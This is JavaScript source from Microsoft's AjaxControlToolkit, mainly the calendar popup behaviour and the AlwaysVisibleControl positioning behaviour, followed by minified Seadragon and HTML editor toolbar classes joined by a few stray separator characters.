                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopRight);
            } else if (this._popupPosition == AjaxControlToolkit.CalendarPosition.BottomRight) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomRight);
            } else if (this._popupPosition == AjaxControlToolkit.CalendarPosition.Right) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Right);
            } else if (this._popupPosition == AjaxControlToolkit.CalendarPosition.Left) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Left);
            } else {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomLeft);
            }
        }
    },

    _fireChanged: function() {
        /// <summary>
        /// Attempts to fire the change event on the attached textbox
        /// </summary>

        var elt = this.get_element();
        if (document.createEventObject) {
            elt.fireEvent("onchange");
        } else if (document.createEvent) {
            var e = document.createEvent("HTMLEvents");
            e.initEvent("change", true, true);
            elt.dispatchEvent(e);
        }
    },
    _switchMonth: function(date, dontAnimate) {
        /// <summary>
        /// Switches the visible month in the days view
        /// </summary>
        /// <param name="date" type="Date">The visible date to switch to</param>
        /// <param name="dontAnimate" type="Boolean">Prevents animation from occuring if the control is animated</param>

        // Check _isAnimating to make sure we don't animate horizontally and vertically at the same time
        if (this._isAnimating) {
            return;
        }

        var visibleDate = this._getEffectiveVisibleDate();
        if ((date && date.getFullYear() == visibleDate.getFullYear() && date.getMonth() == visibleDate.getMonth())) {
            dontAnimate = true;
        }

        if (this._animated && !dontAnimate) {
            this._isAnimating = true;

            var newElement = this._modes[this._mode];
            var oldElement = newElement.cloneNode(true);
            this._body.appendChild(oldElement);
            if (visibleDate > date) {

                // animating down
                // the newIndex element is the top
                // the oldIndex element is the bottom (visible)

                // move in, fade in
                $common.setLocation(newElement, { x: -162, y: 0 });
                $common.setVisible(newElement, true);
                this._modeChangeMoveTopOrLeftAnimation.set_propertyKey("left");
                this._modeChangeMoveTopOrLeftAnimation.set_target(newElement);
                this._modeChangeMoveTopOrLeftAnimation.set_startValue(-this._width);
                this._modeChangeMoveTopOrLeftAnimation.set_endValue(0);

                // move out, fade out
                $common.setLocation(oldElement, { x: 0, y: 0 });
                $common.setVisible(oldElement, true);
                this._modeChangeMoveBottomOrRightAnimation.set_propertyKey("left");
                this._modeChangeMoveBottomOrRightAnimation.set_target(oldElement);
                this._modeChangeMoveBottomOrRightAnimation.set_startValue(0);
                this._modeChangeMoveBottomOrRightAnimation.set_endValue(this._width);

            } else {
                // animating up
                // the oldIndex element is the top (visible)
                // the newIndex element is the bottom

                // move out, fade out
                $common.setLocation(oldElement, { x: 0, y: 0 });
                $common.setVisible(oldElement, true);
                this._modeChangeMoveTopOrLeftAnimation.set_propertyKey("left");
                this._modeChangeMoveTopOrLeftAnimation.set_target(oldElement);
                this._modeChangeMoveTopOrLeftAnimation.set_endValue(-this._width);
                this._modeChangeMoveTopOrLeftAnimation.set_startValue(0);

                // move in, fade in
                $common.setLocation(newElement, { x: 162, y: 0 });
                $common.setVisible(newElement, true);
                this._modeChangeMoveBottomOrRightAnimation.set_propertyKey("left");
                this._modeChangeMoveBottomOrRightAnimation.set_target(newElement);
                this._modeChangeMoveBottomOrRightAnimation.set_endValue(0);
                this._modeChangeMoveBottomOrRightAnimation.set_startValue(this._width);
            }
            this._visibleDate = date;
            this.invalidate();

            var endHandler = Function.createDelegate(this, function() {
                this._body.removeChild(oldElement);
                oldElement = null;
                this._isAnimating = false;
                this._modeChangeAnimation.remove_ended(endHandler);
            });
            this._modeChangeAnimation.add_ended(endHandler);
            this._modeChangeAnimation.play();
        } else {
            this._visibleDate = date;
            this.invalidate();
        }
    },
    _switchMode: function(mode, dontAnimate) {
        /// <summary>
        /// Switches the visible view from "days" to "months" to "years"
        /// </summary>
        /// <param name="mode" type="String">The view mode to switch to</param>
        /// <param name="dontAnimate" type="Boolean">Prevents animation from occuring if the control is animated</param>

        // Check _isAnimating to make sure we don't animate horizontally and vertically at the same time
        if (this._isAnimating || (this._mode == mode)) {
            return;
        }

        var moveDown = this._modeOrder[this._mode] < this._modeOrder[mode];
        var oldElement = this._modes[this._mode];
        var newElement = this._modes[mode];
        this._mode = mode;

        if (this._animated && !dontAnimate) {
            this._isAnimating = true;

            this.invalidate();

            if (moveDown) {
                // animating down
                // the newIndex element is the top
                // the oldIndex element is the bottom (visible)

                // move in, fade in
                $common.setLocation(newElement, { x: 0, y: -this._height });
                $common.setVisible(newElement, true);
                this._modeChangeMoveTopOrLeftAnimation.set_propertyKey("top");
                this._modeChangeMoveTopOrLeftAnimation.set_target(newElement);
                this._modeChangeMoveTopOrLeftAnimation.set_startValue(-this._height);
                this._modeChangeMoveTopOrLeftAnimation.set_endValue(0);

                // move out, fade out
                $common.setLocation(oldElement, { x: 0, y: 0 });
                $common.setVisible(oldElement, true);

                this._modeChangeMoveBottomOrRightAnimation.set_propertyKey("top");
                this._modeChangeMoveBottomOrRightAnimation.set_target(oldElement);
                this._modeChangeMoveBottomOrRightAnimation.set_startValue(0);
                this._modeChangeMoveBottomOrRightAnimation.set_endValue(this._height);

            } else {
                // animating up
                // the oldIndex element is the top (visible)
                // the newIndex element is the bottom

                // move out, fade out
                $common.setLocation(oldElement, { x: 0, y: 0 });
                $common.setVisible(oldElement, true);
                this._modeChangeMoveTopOrLeftAnimation.set_propertyKey("top");
                this._modeChangeMoveTopOrLeftAnimation.set_target(oldElement);
                this._modeChangeMoveTopOrLeftAnimation.set_endValue(-this._height);
                this._modeChangeMoveTopOrLeftAnimation.set_startValue(0);

                // move in, fade in
                $common.setLocation(newElement, { x: 0, y: 139 });
                $common.setVisible(newElement, true);
                this._modeChangeMoveBottomOrRightAnimation.set_propertyKey("top");
                this._modeChangeMoveBottomOrRightAnimation.set_target(newElement);
                this._modeChangeMoveBottomOrRightAnimation.set_endValue(0);
                this._modeChangeMoveBottomOrRightAnimation.set_startValue(this._height);
            }
            var endHandler = Function.createDelegate(this, function() {
                this._isAnimating = false;
                this._modeChangeAnimation.remove_ended(endHandler);
            });
            this._modeChangeAnimation.add_ended(endHandler);
            this._modeChangeAnimation.play();
        } else {
            this._mode = mode;
            $common.setVisible(oldElement, false);
            this.invalidate();
            $common.setVisible(newElement, true);
            $common.setLocation(newElement, { x: 0, y: 0 });
        }
    },
    _isSelected: function(date, part) {
        /// <summary>
        /// Gets whether the supplied date is the currently selected date
        /// </summary>
        /// <param name="date" type="Date">The date to match</param>
        /// <param name="part" type="String">The most significant part of the date to test</param>
        /// <returns type="Boolean" />

        var value = this.get_selectedDate();
        if (!value) return false;
        switch (part) {
            case 'd':
                if (date.getDate() != value.getDate()) return false;
                // goto case 'M';
            case 'M':
                if (date.getMonth() != value.getMonth()) return false;
                // goto case 'y';
            case 'y':
                if (date.getFullYear() != value.getFullYear()) return false;
                break;
        }
        return true;
    },
    _isOther: function(date, part) {
        /// <summary>
        /// Gets whether the supplied date is in a different view from the current visible month
        /// </summary>
        /// <param name="date" type="Date">The date to match</param>
        /// <param name="part" type="String">The most significant part of the date to test</param>
        /// <returns type="Boolean" />

        var value = this._getEffectiveVisibleDate();
        switch (part) {
            case 'd':
                return (date.getFullYear() != value.getFullYear() || date.getMonth() != value.getMonth());
            case 'M':
                return false;
            case 'y':
                var minYear = (Math.floor(value.getFullYear() / 10) * 10);
                return date.getFullYear() < minYear || (minYear + 10) <= date.getFullYear();
        }
        return false;
    },
    _getCssClass: function(date, part) {
        /// <summary>
        /// Gets the cssClass to apply to a cell based on a supplied date
        /// </summary>
        /// <param name="date" type="Date">The date to match</param>
        /// <param name="part" type="String">The most significant part of the date to test</param>
        /// <returns type="String" />

        if (this._isSelected(date, part)) {
            return "ajax__calendar_active";
        } else if (this._isOther(date, part)) {
            return "ajax__calendar_other";
        } else {
            return "";
        }
    },
    _getEffectiveVisibleDate: function() {
        var value = this.get_visibleDate();
        if (value == null)
            value = this.get_selectedDate();
        if (value == null)
            value = this.get_todaysDate();
        return new Date(value.getFullYear(), value.getMonth(), 1, this._hourOffsetForDst);
    },
    _getFirstDayOfWeek: function() {
        /// <summary>
        /// Gets the first day of the week
        /// </summary>

        if (this.get_firstDayOfWeek() != AjaxControlToolkit.FirstDayOfWeek.Default) {
            return this.get_firstDayOfWeek();
        }
        return Sys.CultureInfo.CurrentCulture.dateTimeFormat.FirstDayOfWeek;
    },
    _parseTextValue: function(text) {
        /// <summary>
        /// Converts a text value from the textbox into a date
        /// </summary>
        /// <param name="text" type="String" mayBeNull="true">The text value to parse</param>
        /// <returns type="Date" />

        var value = null;
        if (text) {
            value = Date.parseLocale(text, this.get_format());
        }
        if (isNaN(value)) {
            value = null;
        }
        return value;
    },

    _element_onfocus: function(e) {
        /// <summary> 
        /// Handles the focus event of the element
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>
        if (!this._enabled) return;
        if (!this._button) {
            this.show();
            // make sure we clean up the flag due to issues with alert/alt-tab/etc
            this._popupMouseDown = false;
        }
    },
    _element_onblur: function(e) {
        /// <summary> 
        /// Handles the blur event of the element
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>        
        if (!this._enabled) return;
        if (!this._button) {
            this.blur();
        }
    },
    _element_onchange: function(e) {
        /// <summary> 
        /// Handles the change event of the element
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>
        if (!this._selectedDateChanging) {
            var value = this._parseTextValue(this._textbox.get_Value());
            if (value) value = value.getDateOnly();
            this._selectedDate = value;
            if (this._isOpen) {
                this._switchMonth(this._selectedDate, this._selectedDate == null);
            }
        }
    },
    _element_onkeypress: function(e) {
        /// <summary>
        /// Handles the keypress event of the element
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>
        if (!this._enabled) return;
        if (!this._button && e.charCode == Sys.UI.Key.esc) {
            e.stopPropagation();
            e.preventDefault();
            this.hide();
        }
    },
    _element_onclick: function(e) {
        /// <summary>
        /// Handles the click event of the element
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>
        if (!this._enabled) return;
        if (!this._button) {
            this.show();
            // make sure we clean up the flag due to issues with alert/alt-tab/etc
            this._popupMouseDown = false;
        }
    },

    _popup_onevent: function(e) {
        /// <summary> 
        /// Handles the drag-start event of the popup calendar
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>
        e.stopPropagation();
        e.preventDefault();
    },
    _popup_onmousedown: function(e) {
        /// <summary> 
        /// Handles the mousedown event of the popup
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>

        // signal that the popup has received a mousedown event, this handles
        // onblur issues on browsers like FF, OP, and SF
        this._popupMouseDown = true;
    },
    _popup_onmouseup: function(e) {
        /// <summary> 
        /// Handles the mouseup event of the popup
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>

        // signal that the popup has received a mouseup event, this handles
        // onblur issues on browsers like FF, OP, and SF
        if (Sys.Browser.agent === Sys.Browser.Opera && this._blur.get_isPending()) {
            this._blur.cancel();
        }
        this._popupMouseDown = false;
        this.focus();
    },

    _cell_onmouseover: function(e) {
        /// <summary> 
        /// Handles the mouseover event of a cell
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>

        e.stopPropagation();

        if (Sys.Browser.agent === Sys.Browser.Safari) {
            // Safari doesn't reliably call _cell_onmouseout, so clear other cells here to keep the UI correct
            for (var i = 0; i < this._daysBody.rows.length; i++) {
                var row = this._daysBody.rows[i];
                for (var j = 0; j < row.cells.length; j++) {
                    Sys.UI.DomElement.removeCssClass(row.cells[j].firstChild.parentNode, "ajax__calendar_hover");
                }
            }
        }

        var target = e.target;

        Sys.UI.DomElement.addCssClass(target.parentNode, "ajax__calendar_hover");
    },
    _cell_onmouseout: function(e) {
        /// <summary> 
        /// Handles the mouseout event of a cell
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>

        e.stopPropagation();

        var target = e.target;

        Sys.UI.DomElement.removeCssClass(target.parentNode, "ajax__calendar_hover");
    },
    _cell_onclick: function(e) {
        /// <summary> 
        /// Handles the click event of a cell
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>

        e.stopPropagation();
        e.preventDefault();

        if (!this._enabled) return;

        var target = e.target;
        var visibleDate = this._getEffectiveVisibleDate();
        Sys.UI.DomElement.removeCssClass(target.parentNode, "ajax__calendar_hover");
        switch (target.mode) {
            case "prev":
            case "next":
                this._switchMonth(target.date);
                break;
            case "title":
                switch (this._mode) {
                    case "days": this._switchMode("months"); break;
                    case "months": this._switchMode("years"); break;
                }
                break;
            case "month":
                if (target.month == visibleDate.getMonth()) {
                    this._switchMode("days");
                } else {
                    this._visibleDate = target.date;
                    this._switchMode("days");
                }
                break;
            case "year":
                if (target.date.getFullYear() == visibleDate.getFullYear()) {
                    this._switchMode("months");
                } else {
                    this._visibleDate = target.date;
                    this._switchMode("months");
                }
                break;
            case "day":
                this.set_selectedDate(target.date);
                this._switchMonth(target.date);
                this._blur.post(true);
                this.raiseDateSelectionChanged();
                break;
            case "today":
                this.set_selectedDate(target.date);
                this._switchMonth(target.date);
                this._blur.post(true);
                this.raiseDateSelectionChanged();
                break;
        }
    },

    _button_onclick: function(e) {
        /// <summary> 
        /// Handles the click event of the asociated button
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>

        e.preventDefault();
        e.stopPropagation();

        if (!this._enabled) return;

        if (!this._isOpen) {
            this.show();
        } else {
            this.hide();
        }
        this.focus();
        // make sure we clean up the flag due to issues with alert/alt-tab/etc
        this._popupMouseDown = false;
    },
    _button_onblur: function(e) {
        /// <summary> 
        /// Handles the blur event of the button
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>
        if (!this._enabled) return;
        if (!this._popupMouseDown) {
            this.hide();
        }
        // make sure we clean up the flag due to issues with alert/alt-tab/etc
        this._popupMouseDown = false;
    },
    _button_onkeypress: function(e) {
        /// <summary>
        /// Handles the keypress event of the element
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The arguments for the event</param>
        if (!this._enabled) return;
        if (e.charCode == Sys.UI.Key.esc) {
            e.stopPropagation();
            e.preventDefault();
            this.hide();
        }
        // make sure we clean up the flag due to issues with alert/alt-tab/etc
        this._popupMouseDown = false;
    }
}
AjaxControlToolkit.CalendarBehavior.registerClass("AjaxControlToolkit.CalendarBehavior", AjaxControlToolkit.BehaviorBase);

AjaxControlToolkit.CalendarPosition = function() {
    /// <summary>
    /// Position of the popup relative to the target control
    /// </summary>
    /// <field name="BottomLeft" type="Number" integer="true" />
    /// <field name="BottomRight" type="Number" integer="true" />
    /// <field name="TopLeft" type="Number" integer="true" />
    /// <field name="TopRight" type="Number" integer="true" />
    /// <field name="Right" type="Number" integer="true" />
    /// <field name="Left" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.CalendarPosition.prototype = {
    BottomLeft: 0,
    BottomRight: 1,
    TopLeft: 2,
    TopRight: 3,
    Right: 4,
    Left: 5
}
AjaxControlToolkit.CalendarPosition.registerEnum('AjaxControlToolkit.CalendarPosition');

AjaxControlToolkit.CalendarDefaultView = function() {
    /// <summary>
    /// Choices for default view of the calendar when it first pops up.
    /// </summary>
    /// <field name="Days" type="Number" integer="true" />
    /// <field name="Months" type="Number" integer="true" />
    /// <field name="Years" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.CalendarDefaultView.prototype = {
    Days: 0,
    Months: 1,
    Years: 2
}
AjaxControlToolkit.CalendarDefaultView.registerEnum('AjaxControlToolkit.CalendarDefaultView');`>// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Animation/Animations.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.HorizontalSide = function() {
    /// <summary>
    /// The HorizontalSide enumeration describes the horizontal side
    /// of the window used to anchor the element
    /// </summary>
    /// <field name="Left" type="Number" integer="true" />
    /// <field name="Center" type="Number" integer="true" />
    /// <field name="Right" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.HorizontalSide.prototype = {
    Left : 0,
    Center : 1,
    Right : 2
}
AjaxControlToolkit.HorizontalSide.registerEnum("AjaxControlToolkit.HorizontalSide", false);


AjaxControlToolkit.VerticalSide = function() {
    /// <summary>
    /// The VerticalSide enumeration describes the vertical side
    /// of the window used to anchor the element
    /// </summary>
    /// <field name="Top" type="Number" integer="true" />
    /// <field name="Middle" type="Number" integer="true" />
    /// <field name="Bottom" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.VerticalSide.prototype = {
    Top : 0,
    Middle : 1,
    Bottom : 2
}
AjaxControlToolkit.VerticalSide.registerEnum("AjaxControlToolkit.VerticalSide", false);


AjaxControlToolkit.AlwaysVisibleControlBehavior = function(element) {
    /// <summary>
    /// The AlwaysVisibleControl behavior is used to fix a particular control a specified distance
    /// from the top/left corner at all times regardless of how the users scrolls or sizes the window.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// The DOM element the behavior is associated with
    /// </param>
    AjaxControlToolkit.AlwaysVisibleControlBehavior.initializeBase(this, [element]);
    
    // Desired offset from the horizontal edge of the window
    this._horizontalOffset = 0;
    
    // Vertical side of the window used to anchor the element
    this._horizontalSide = AjaxControlToolkit.HorizontalSide.Left;
    
    // Desired offset from the vertical edge of the window
    this._verticalOffset = 0;
    
    // Vertical side of the window used to anchor the element
    this._verticalSide = AjaxControlToolkit.VerticalSide.Top;
    
    // Custom property indicating the desired
    // duration of the scrolling effect
    this._scrollEffectDuration = .1;
    
    // Member variable used to handle the window's scroll and resize events
    this._repositionHandler = null;
    
    // The _animate flag is used to decide if we should play the animations whenever
    // the page is scrolled or resized.  We only need to do this on browsers that don't
    // support CSS position: fixed (i.e., IE <= 6).  Other browsers can opt in.
    this._animate = false;
    
    // Animation to handle moving the element
    this._animation = null;
}
AjaxControlToolkit.AlwaysVisibleControlBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        /// <returns />
        AjaxControlToolkit.AlwaysVisibleControlBehavior.callBaseMethod(this, 'initialize');
        
        var element = this.get_element();
        if (!element) throw Error.invalidOperation(AjaxControlToolkit.Resources.AlwaysVisible_ElementRequired);
        
        // Create the resposition handler used to place the element
        this._repositionHandler = Function.createDelegate(this, this._reposition);
        
        // Determine whether or not to use animations (i.e. whether or not the browser
        // supports CSS position: fixed).  All major browsers except IE 6 or earlier support it.
        // Otherwise we'll only animate if desired.
        if (Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.version < 7) {
            this._animate = true;
        }
        if (this._animate) {
            // Initialize the animations to use the actual properties
            this._animation = new AjaxControlToolkit.Animation.MoveAnimation(
                element, this._scrollEffectDuration, 25, 0, 0, false, 'px');

            // Make the control use absolute positioning to hover
            // appropriately and move it to its new home
            element.style.position = 'absolute';
        } else {
            // Make the control use fixed positioning to keep it from moving
            // while the content behind it slides around
            element.style.position = 'fixed';
        }
        
        // Attach the onResize handler
        $addHandler(window, 'resize', this._repositionHandler);
        
        // Attach the onscroll event handler for the animations
        if (this._animate) {
            $addHandler(window, 'scroll', this._repositionHandler);
        }
        
        // Move to the initial position
        this._reposition();
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        /// <returns />
    
        // Detach the event and wipe the delegate
        if (this._repositionHandler) {
            if (this._animate) {
                $removeHandler(window, 'scroll', this._repositionHandler);
            }
            $removeHandler(window, 'resize', this._repositionHandler);
            this._repositionHandler = null;
        }
        
        // Dispose the animation
        if (this._animation) {
            this._animation.dispose();
            this._animation = null;
        }
        
        AjaxControlToolkit.AlwaysVisibleControlBehavior.callBaseMethod(this, 'dispose');
    },

    _reposition : function(eventObject) {
        /// <summary>
        /// Handler to reposition the element and place it where it actually belongs
        /// whenever the browser is scrolled or resized
        /// </summary>
        /// <param name="eventObject" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        /// <returns />

        var element = this.get_element();
        if (!element) return;
        
        this.raiseRepositioning(Sys.EventArgs.Empty);
        
        var x = 0;
        var y = 0;
        
        // Compute the initial offset if we're animating
        if (this._animate) {
            if (document.documentElement && document.documentElement.scrollTop) {
                x = document.documentElement.scrollLeft;
                y = document.documentElement.scrollTop;
            } else {
                x = document.body.scrollLeft;
                y = document.body.scrollTop;
            }
        }
        
        // Compute the width and height of the client
        var clientBounds = $common.getClientBounds();
        var width = clientBounds.width;
        var height = clientBounds.height;
        
        // Compute the horizontal coordinate
        switch (this._horizontalSide) {
            case AjaxControlToolkit.HorizontalSide.Center :
                x = Math.max(0, Math.floor(x + width / 2.0 - element.offsetWidth / 2.0 - this._horizontalOffset));
                break;
            case AjaxControlToolkit.HorizontalSide.Right :
                x = Math.max(0, x + width - element.offsetWidth - this._horizontalOffset);
                break;
            case AjaxControlToolkit.HorizontalSide.Left :
            default :
                x += this._horizontalOffset;
                break;
        }            
           
        // Compute the vertical coordinate
        switch (this._verticalSide) {
            case AjaxControlToolkit.VerticalSide.Middle :
                y = Math.max(0, Math.floor(y + height / 2.0 - element.offsetHeight / 2.0 - this._verticalOffset));
                break;
            case AjaxControlToolkit.VerticalSide.Bottom :
                y = Math.max(0, y + height - element.offsetHeight - this._verticalOffset);
                break;
            case AjaxControlToolkit.VerticalSide.Top :
            default :
                y += this._verticalOffset;
                break;
        }
        
        // Move the element to its new position
        if (this._animate && this._animation) {
            this._animation.stop();
            this._animation.set_horizontal(x);
            this._animation.set_vertical(y);
            this._animation.play();
        } else {
            element.style.left = x + 'px';
            element.style.top = y + 'px';
        }
        
        this.raiseRepositioned(Sys.EventArgs.Empty);
    },
    
    get_HorizontalOffset : function() {
        /// <value type="Number" integer="true">
        /// Distance to the horizontal edge of the browser in pixels from the same side of the target control. The default is 0 pixels.
        /// </value>
        return this._horizontalOffset;
    },
    set_HorizontalOffset : function(value) {
        if (this._horizontalOffset != value) {
            this._horizontalOffset = value;
            this._reposition();
            this.raisePropertyChanged('HorizontalOffset');
        }
    },
    
    get_HorizontalSide : function() {
        /// <value type="AjaxControlToolkit.HorizontalSide" integer="true">
        /// Horizontal side of the browser to anchor the control against.  The default is the Left side.
        /// </value>
        return this._horizontalSide;
    },
    set_HorizontalSide : function(value) {
        if (this._horizontalSide != value) {
            this._horizontalSide = value;
            this._reposition();
            this.raisePropertyChanged('HorizontalSide');
        }
    },
    
    get_VerticalOffset : function() {
        /// <value type="Number" integer="true">
        /// Distance to the vertical edge of the browser in pixels from the same side of the target control. The default is 0 pixels.
        /// </value>
        return this._verticalOffset;
    },
    set_VerticalOffset : function(value) {
        if (this._verticalOffset != value) {
            this._verticalOffset = value;
            this._reposition();
            this.raisePropertyChanged('VerticalOffset');
        }
    },
    
    get_VerticalSide : function() {
        /// <value type="AjaxControlToolkit.VerticalSide" integer="true">
        /// Vertical side of the browser to anchor the control against.  The default is the Top side.
        /// </value>
        return this._verticalSide;
    },
    set_VerticalSide : function(value) {
        if (this._verticalSide != value) {
            this._verticalSide = value;
            this._reposition();
            this.raisePropertyChanged('VerticalSide');
        }
    },
    
    get_ScrollEffectDuration : function() {
        /// <value type="Number">
        /// Length in seconds for the scrolling effect to last when the target control is repositioned. The default is .1 seconds.
        /// </value>
        return this._scrollEffectDuration;
    },
    set_ScrollEffectDuration : function(value) {
        if (this._scrollEffectDuration != value) {
            this._scrollEffectDuration = value;
            if (this._animation) {
                this._animation.set_duration(value); 
            }
            this.raisePropertyChanged('ScrollEffectDuration');
        }
    },
    
    get_useAnimation : function() {
        /// <value type="Boolean">
        /// Whether or not to animate the element into position. (note:
        /// this value should always be true in IE6).
        /// </value>
        return this._animate;
    },
    set_useAnimation : function(value) {
        value |= (Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.version < 7);
        if (this._animate != value) {
            this._animate = value;
            this.raisePropertyChanged('useAnimation');
        }
    },
    
    add_repositioning : function(handler) {
        /// <summary>
        /// Add an event handler for the repositioning event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('repositioning', handler);
    },
    remove_repositioning : function(handler) {
        /// <summary>
        /// Remove an event handler from the repositioning event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('repositioning', handler);
    },
    raiseRepositioning : function(eventArgs) {
        /// <summary>
        /// Raise the repositioning event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the repositioning event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('repositioning');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_repositioned : function(handler) {
        /// <summary>
        /// Add an event handler for the repositioned event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('repositioned', handler);
    },
    remove_repositioned : function(handler) {
        /// <summary>
        /// Remove an event handler from the repositioned event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('repositioned', handler);
    },
    raiseRepositioned : function(eventArgs) {
        /// <summary>
        /// Raise the repositioned event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the repositioned event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('repositioned');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.AlwaysVisibleControlBehavior.registerClass('AjaxControlToolkit.AlwaysVisibleControlBehavior', AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        /// <summary>
//        /// Get the type descriptor for this object
//        /// </summary>
//        /// <returns type="???">Type descriptor for this object</returns>
//        var td = AjaxControlToolkit.AlwaysVisibleControlBehavior.callBaseMethod(this, 'getDescriptor');
//        
//        //  Add property declarations
//        td.addProperty('HorizontalOffset', Number);
//        td.addProperty('HorizontalSide', AjaxControlToolkit.HorizontalSide);
//        td.addProperty('VerticalOffset', Number);
//        td.addProperty('VerticalSide', AjaxControlToolkit.VerticalSide);
//        td.addProperty('ScrollEffectDuration', Number);
//    
//        return td;
//    },
4Type.registerNamespace("AjaxControlToolkit.Seadragon");Type.registerNamespace("Seadragon");Seadragon.Spring=AjaxControlToolkit.Seadragon.Spring=function(b,c){var a=this;a._currentValue=typeof b=="number"?b:0;a._startValue=a._currentValue;a._targetValue=a._currentValue;a.config=c;a._currentTime=(new Date).getTime();a._startTime=a._currentTime;a._targetTime=a._currentTime};AjaxControlToolkit.Seadragon.Spring.prototype={_transform:function(b){var a=this.config.springStiffness;return (1-Math.exp(-b*a))/(1-Math.exp(-a))},getCurrent:function(){return this._currentValue},getTarget:function(){return this._targetValue},resetTo:function(b){var a=this;a._targetValue=b;a._targetTime=a._currentTime;a._startValue=a._targetValue;a._startTime=a._targetTime},springTo:function(b){var a=this;a._startValue=a._currentValue;a._startTime=a._currentTime;a._targetValue=b;a._targetTime=a._startTime+1e3*a.config.animationTime},shiftBy:function(a){this._startValue+=a;this._targetValue+=a},update:function(){var a=this;a._currentTime=(new Date).getTime();a._currentValue=a._currentTime>=a._targetTime?a._targetValue:a._startValue+(a._targetValue-a._startValue)*a._transform((a._currentTime-a._startTime)/(a._targetTime-a._startTime))}};AjaxControlToolkit.Seadragon.Spring.registerClass("AjaxControlToolkit.Seadragon.Spring",null,Sys.IDisposable);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector.prototype={};AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("Indent")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton=function(b){var a=this;AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.initializeBase(a,[b]);a._normalSrc="";a._hoverSrc="";a._downSrc="";a._activeSrc="";a._downTimer=null};AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.prototype={get_normalSrc:function(){return 